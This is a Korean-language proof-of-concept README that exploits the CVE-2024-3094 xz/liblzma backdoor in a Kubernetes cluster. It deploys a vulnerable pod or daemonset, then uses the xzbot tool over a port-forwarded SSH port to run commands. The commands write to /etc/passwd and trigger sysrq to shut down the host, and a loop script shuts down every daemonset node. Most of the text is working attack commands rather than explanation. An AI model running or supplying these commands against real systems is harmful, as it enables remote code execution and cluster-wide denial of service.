
K8s 클러스터 내부에서 CVE-2024-3094 취약점을 테스트하는 기본 POC
K8s 클러스터 내부에서 CVE-2024-3094 취약점을 테스트하기 위한 기본 POC
취약한 포드를 배포하고 그 취약점을 악용하여 포드 내부에서 명령을 실행해 보겠습니다. 보안상의 이유로 동일한 네트워크 내에서 수행하며, 취약한 포드를 인터넷에 노출하지는 않지만 개념은 동일합니다.
이 취약점을 이용하면 포드가 보안 컨텍스트로 실행 중이더라도 포드 내부에서 명령을 실행할 수 있습니다. 예를 들어 포드가 실행 중인 호스트를 종료할 수도 있습니다.
해당 취약점이 단일 포드에서 실행되는 경우 호스트를 종료하여 해당 호스트에서 실행 중인 모든 서비스를 일시적으로 사용 불가능하게 만들 수 있습니다. 그러나 취약점이 데몬셋(daemonset)으로 실행되는 경우, 해당 데몬셋을 실행 중인 모든 호스트를 종료할 수 있으며, 클러스터 전체를 종료할 수도 있습니다.
먼저, 클러스터에 xzbots를 설치합니다.
go install github.com/amlweems/xzbot@latest
리포지토리를 다운로드하고 취약한 deployment/daemonset을 배포합니다.
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Get the pod name
kubectl -n vulnes get pods
# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
계속해서 호스트를 종료합니다.
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
데몬셋을 실행 중인 모든 호스트를 종료할 수도 있습니다.
source shutdown_nodes.sh
모든 호스트를 종료하는 루프를 실행할 때 다음 오류가 발생하면:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
포트 포워드가 준비될 시간을 더 주세요. 루프에서 sleep 시간을 늘릴 수 있습니다.
사용된 컨테이너 이미지는 리포지토리에 있는 dockerfile로 생성되었습니다. 이미지를 생성하여 자신의 레지스트리에 푸시할 수 있습니다.
liblzma.so.5.6.0.patch 라이브러리를 생성하려면 참조에 있는 amlweems 리포지토리를 사용할 수 있습니다.